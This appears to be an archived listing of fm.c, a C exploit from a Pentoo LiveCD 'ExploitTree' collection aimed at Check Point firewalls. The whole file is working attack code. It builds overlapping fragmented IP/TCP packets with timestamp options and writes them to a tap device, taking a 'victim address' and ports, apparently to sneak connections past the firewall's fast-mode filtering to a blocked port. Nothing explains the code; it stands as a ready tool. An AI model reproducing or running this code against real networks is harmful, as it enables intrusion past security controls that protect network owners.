home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / checkpoint / fm.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  375 lines

  1. #define _BSD_SOURCE
  2.  
  3. #include <net/ethernet.h>
  4. #include <netinet/ip.h>
  5. #include <netinet/tcp.h>
  6. #include <arpa/inet.h>
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <fcntl.h>
  10. #include <stdlib.h>
  11.  
  12. struct pseudo {
  13.   unsigned long source;
  14.   unsigned long dest;
  15.   unsigned char zero;
  16.   unsigned char proto;
  17.   unsigned short len;
  18. };
  19.  
  20. /*
  21.  *      -------------------- config --------------------
  22.  */
  23.  
  24. static char tap_device[] = "/dev/tap0";
  25.  
  26. static char local_ip_addr[] = "172.16.0.1";
  27.  
  28. static unsigned char dst_mac_addr[] = {
  29.   0xfe, 0xfd, 0x00, 0x00, 0x00, 0x00
  30. };
  31.  
  32. static int num_hops = 1;
  33.  
  34. /*
  35.  *     ------------------------------------------------
  36.  */
  37.  
  38. static void hex_dump(unsigned char *buff, int len)
  39. {
  40.   int i, k;
  41.  
  42.   for (i = 0; i < len; i += k) {
  43.     printf("%.4x: ", i);
  44.     for (k = 0; i + k < len && k < 16; k++)
  45.       printf("%.2x ", buff[i + k]);
  46.     while (k++ < 16)
  47.       printf("   ");
  48.     for (k = 0; i + k < len && k < 16; k++)
  49.       if (buff[i + k] >= 32 && buff[i + k] <= 126)
  50.     printf("%c", buff[i + k]);
  51.       else
  52.     printf(".");
  53.     printf("\n");
  54.   }
  55. }
  56.  
  57. int full_write(int f, char *data, int len)
  58. {
  59.   int res;
  60.  
  61.   while (len > 0) {
  62.     if ((res = write(f, data, len)) < 0)
  63.       return res;
  64.     len -= res;
  65.     data += res;
  66.   }
  67.  
  68.   return 0;
  69. }
  70.  
  71. static u_short calc_sum(u_short start, u_short *buff, int bytelen)
  72. {
  73.   u_long sum = start;
  74.   u_short last = 0;
  75.   int wordlen;
  76.  
  77.   wordlen = bytelen / 2;
  78.   bytelen &= 1;
  79.  
  80.   while (wordlen--)
  81.     sum += *buff++;
  82.  
  83.   if (bytelen) {
  84.     *((u_char *)&last) = *((u_char *)buff);
  85.     sum += last;
  86.   }
  87.  
  88.   sum = (sum >> 16) + (sum & 0xffff);
  89.   sum = (sum >> 16) + (sum & 0xffff);
  90.  
  91.   return sum;
  92. }
  93.  
  94. static void usage()
  95. {
  96.   fprintf(stderr, "usage: frag v-addr f-port o-port v-port\n");
  97. }
  98.  
  99. int main(int ac, char *av[])
  100. {
  101.   int t;
  102.   unsigned char dgram[136];
  103.   struct ether_header eh;
  104.   unsigned char iph_buff[60];
  105.   struct ip *iph;
  106.   unsigned char tcph_buff[60];
  107.   struct tcphdr *tcph;
  108.   unsigned long la, va;
  109.   unsigned short fp, op, vp;
  110.   struct pseudo ph;
  111.   unsigned short fid;
  112.  
  113.   if (ac != 5) {
  114.     usage();
  115.     return 1;
  116.   }
  117.  
  118.   if ((va = inet_addr(av[1])) == (unsigned long)-1) {
  119.     fprintf(stderr, "invalid victim address given\n");
  120.     usage();
  121.     return 1;
  122.   }
  123.  
  124.   if (!(fp = htons(atoi(av[2])))) {
  125.     fprintf(stderr, "invalid fastmode port given\n");
  126.     usage();
  127.     return 1;
  128.   }
  129.  
  130.   if (!(op = htons(atoi(av[3])))) {
  131.     fprintf(stderr, "invalid open port given\n");
  132.     usage();
  133.     return 1;
  134.   }
  135.  
  136.   if (!(vp = htons(atoi(av[4])))) {
  137.     fprintf(stderr, "invalid victim port given\n");
  138.     usage();
  139.     return 1;
  140.   }
  141.  
  142.   la = inet_addr(local_ip_addr);
  143.  
  144.   fid = (unsigned short)getpid();
  145.  
  146.   iph = (struct ip *)iph_buff;
  147.   tcph = (struct tcphdr *)tcph_buff;
  148.  
  149.   if ((t = open(tap_device, O_RDWR)) < 0) {
  150.     perror("open");
  151.     return 2;
  152.   }
  153.  
  154.   /*
  155.    *      -------------------- PACKET #1 --------------------
  156.    */
  157.  
  158.   ph.source = la;
  159.   ph.dest = va;
  160.   ph.zero = 0;
  161.   ph.proto = IPPROTO_TCP;
  162.   ph.len = htons(20);
  163.  
  164.   tcph->th_sport = fp;
  165.   tcph->th_dport = vp;
  166.   tcph->th_seq = htonl(0x19711219);
  167.   tcph->th_ack = htonl(0x19720201);
  168.   tcph->th_x2 = 0;
  169.   tcph->th_off = 5;
  170.   tcph->th_win = htons(16384);
  171.   tcph->th_urp = htons(0);
  172.  
  173.   tcph->th_flags = TH_SYN;
  174.  
  175.   /*
  176.    *      Must be the "with SYN" checksum. The ACK will be overwritten
  177.    *      by the second packet.
  178.    */
  179.  
  180.   tcph->th_sum = 0;
  181.   tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
  182.               (u_short *)tcph, ntohs(ph.len));
  183.  
  184.   tcph->th_flags = TH_ACK;
  185.  
  186.   iph->ip_v = IPVERSION;
  187.   iph->ip_tos = 0;
  188.   iph->ip_id = htons(fid);
  189.   iph->ip_ttl = 64;
  190.   iph->ip_p = IPPROTO_TCP;
  191.   iph->ip_src.s_addr = la;
  192.   iph->ip_dst.s_addr = va;
  193.  
  194.   memcpy(eh.ether_dhost, dst_mac_addr, 6);
  195.   memset(eh.ether_shost, 0, 6);
  196.   eh.ether_type = htons(ETHERTYPE_IP);
  197.  
  198.   dgram[0] = dgram[1] = 0;
  199.   memcpy(dgram + 2, &eh, 14);
  200.  
  201.   /*
  202.    *      ---------- Fragment #1 ----------
  203.    */
  204.  
  205.   iph->ip_hl = 5;
  206.   iph->ip_len = htons(28);
  207.   iph->ip_off = htons(IP_MF);
  208.   iph->ip_sum = 0;
  209.   iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
  210.  
  211.   memcpy(dgram + 16, iph_buff, 20);
  212.   memcpy(dgram + 36, tcph_buff, 8);
  213.  
  214.   hex_dump(dgram, 44); printf("\n");
  215.  
  216.   if (full_write(t, dgram, 44) < 0) {
  217.     perror("write");
  218.     close(t);
  219.     return 3;
  220.   }
  221.  
  222.   /*
  223.    *      ---------- Fragment #2 ----------
  224.    */
  225.  
  226.   iph->ip_hl = 6;
  227.   iph->ip_len = htons(32);
  228.   iph->ip_off = htons(1 | IP_MF);
  229.  
  230.   iph_buff[20] = 68;
  231.   iph_buff[21] = 4;
  232.   iph_buff[22] = 5;
  233.   iph_buff[23] = (15 - num_hops) << 4;
  234.  
  235.   iph->ip_sum = 0;
  236.   iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
  237.  
  238.   memcpy(dgram + 16, iph_buff, 24);
  239.   memcpy(dgram + 40, tcph_buff + 8, 8);
  240.  
  241.   hex_dump(dgram, 48); printf("\n");
  242.  
  243.  
  244.   if (full_write(t, dgram, 48) < 0) {
  245.     perror("write");
  246.     close(t);
  247.     return 3;
  248.   }
  249.  
  250.   /*
  251.    *      ---------- Fragment #3 ----------
  252.    */
  253.  
  254.   iph->ip_hl = 6;
  255.   iph->ip_len = htons(28);
  256.   iph->ip_off = htons(2);
  257.  
  258.   iph_buff[20] = 1;
  259.   iph_buff[21] = 1;
  260.   iph_buff[22] = 1;
  261.   iph_buff[23] = 1;
  262.  
  263.   iph->ip_sum = 0;
  264.   iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
  265.  
  266.   memcpy(dgram + 16, iph_buff, 24);
  267.   memcpy(dgram + 40, tcph_buff + 16, 4);
  268.  
  269.   hex_dump(dgram, 44); printf("\n");
  270.  
  271.   if (full_write(t, dgram, 44) < 0) {
  272.     perror("write");
  273.     close(t);
  274.     return 3;
  275.   }
  276.  
  277.   /*
  278.    *      -------------------- PACKET #2 --------------------
  279.    */
  280.  
  281.   getchar();
  282.  
  283.   tcph->th_sport = htons(1024);
  284.   tcph->th_dport = op;
  285.   tcph->th_flags = TH_SYN;
  286.  
  287.   /*
  288.    * But then again, the fragment with the checksum will be dropped anyway...
  289.    */
  290.  
  291.   tcph->th_sum = 0;
  292.   tcph->th_sum = ~calc_sum(calc_sum(0, (u_short *)&ph, 12),
  293.               (u_short *)tcph, ntohs(ph.len));
  294.  
  295.   /*
  296.    *      ---------- Fragment #1 ----------
  297.    */
  298.  
  299.   iph->ip_hl = 5;
  300.   iph->ip_len = htons(28);
  301.   iph->ip_off = htons(IP_MF);
  302.   iph->ip_sum = 0;
  303.   iph->ip_sum = ~calc_sum(0, (u_short *)iph, 20);
  304.  
  305.   memcpy(dgram + 16, iph_buff, 20);
  306.   memcpy(dgram + 36, tcph_buff, 8);
  307.  
  308.   hex_dump(dgram, 44); printf("\n");
  309.  
  310.   if (full_write(t, dgram, 44) < 0) {
  311.     perror("write");
  312.     close(t);
  313.     return 3;
  314.   }
  315.  
  316.   /*
  317.    *      ---------- Fragment #2 ----------
  318.    */
  319.  
  320.   iph->ip_hl = 6;
  321.   iph->ip_len = htons(32);
  322.   iph->ip_off = htons(1 | IP_MF);
  323.  
  324.   iph_buff[20] = 1;
  325.   iph_buff[21] = 1;
  326.   iph_buff[22] = 1;
  327.   iph_buff[23] = 1;
  328.  
  329.   iph->ip_sum = 0;
  330.   iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
  331.  
  332.   memcpy(dgram + 16, iph_buff, 24);
  333.   memcpy(dgram + 40, tcph_buff + 8, 8);
  334.  
  335.   hex_dump(dgram, 48); printf("\n");
  336.  
  337.  
  338.   if (full_write(t, dgram, 48) < 0) {
  339.     perror("write");
  340.     close(t);
  341.     return 3;
  342.   }
  343.  
  344.   /*
  345.    *      ---------- Fragment #3 ----------
  346.    */
  347.  
  348.   iph->ip_hl = 6;
  349.   iph->ip_len = htons(28);
  350.   iph->ip_off = htons(2);
  351.  
  352.   iph_buff[20] = 68;
  353.   iph_buff[21] = 4;
  354.   iph_buff[22] = 5;
  355.   iph_buff[23] = (15 - num_hops) << 4;
  356.  
  357.   iph->ip_sum = 0;
  358.   iph->ip_sum = ~calc_sum(0, (u_short *)iph, 24);
  359.  
  360.   memcpy(dgram + 16, iph_buff, 24);
  361.   memcpy(dgram + 40, tcph_buff + 16, 4);
  362.  
  363.   hex_dump(dgram, 44); printf("\n");
  364.  
  365.   if (full_write(t, dgram, 44) < 0) {
  366.     perror("write");
  367.     close(t);
  368.     return 3;
  369.   }
  370.  
  371.   close(t);
  372.  
  373.   return 0;
  374. }
  375.